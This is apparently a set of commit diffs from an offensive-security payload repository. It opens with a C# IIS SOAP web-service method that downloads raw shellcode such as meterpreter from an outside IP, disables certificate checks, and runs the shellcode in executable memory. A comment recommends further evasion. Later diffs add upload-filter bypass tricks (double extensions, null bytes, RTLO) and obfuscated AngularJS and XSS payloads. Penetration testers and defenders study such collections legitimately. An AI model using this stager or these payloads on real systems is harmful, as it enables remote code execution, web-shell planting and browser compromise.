[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
public string loadStage()
{
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
byte[] rzjUFlLZh;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
// in case of HTTPS
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
rzjUFlLZh = webClient.DownloadData(Url);
}
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
IntPtr owlqRoQI_ms = IntPtr.Zero;
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
return "finished";
}
}

View File

@ -6,6 +6,7 @@
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
@ -17,4 +18,4 @@
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.php\x00.jpg

View File

@ -0,0 +1 @@
<?php phpinfo(); ?>

View File

@ -1,13 +1,12 @@
# Upload
Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
## Summary
* [Tools](#tools)
* [Exploits](#exploits)
* [Defaults extensions](#defaults-extension)
* [Other extensions](#other-extensions)
* [Defaults extensions](#defaults-extensions)
* [Upload tricks](#upload-tricks)
* [Filename vulnerabilities](#filename-vulnerabilities)
* [Picture upload with LFI](#picture-upload-with-lfi)
@ -44,7 +43,7 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
.phtm
.inc
```
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap`
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
@ -53,18 +52,19 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
- Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`)
* .php%00.gif
* .php\x00.gif
* .php%00.png
* .php\x00.png
* .php%00.jpg
* .php\x00.jpg
* `.php%00.gif`
* `.php\x00.gif`
* `.php%00.png`
* `.php\x00.png`
* `.php%00.jpg`
* `.php\x00.jpg`
- Special characters
* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
* Whitespace characters: `file.php%20`
* Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
* Slash: `file.php/`, `file.php.\`
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif`
* `Content-Type : image/png`
@ -143,4 +143,5 @@ When a ZIP/archive file is automatically decompressed after the upload
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)

View File

@ -731,6 +731,7 @@ $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
```javascript
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
```
### Bypass using javascript inside a string

View File

@ -157,6 +157,23 @@ AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
```
AngularJS (without `'` single and `"` double quotes and `constructor` string)
```javascript
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
```
```javascript
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
```
```javascript
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
```
```javascript
{{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
```
### Blind XSS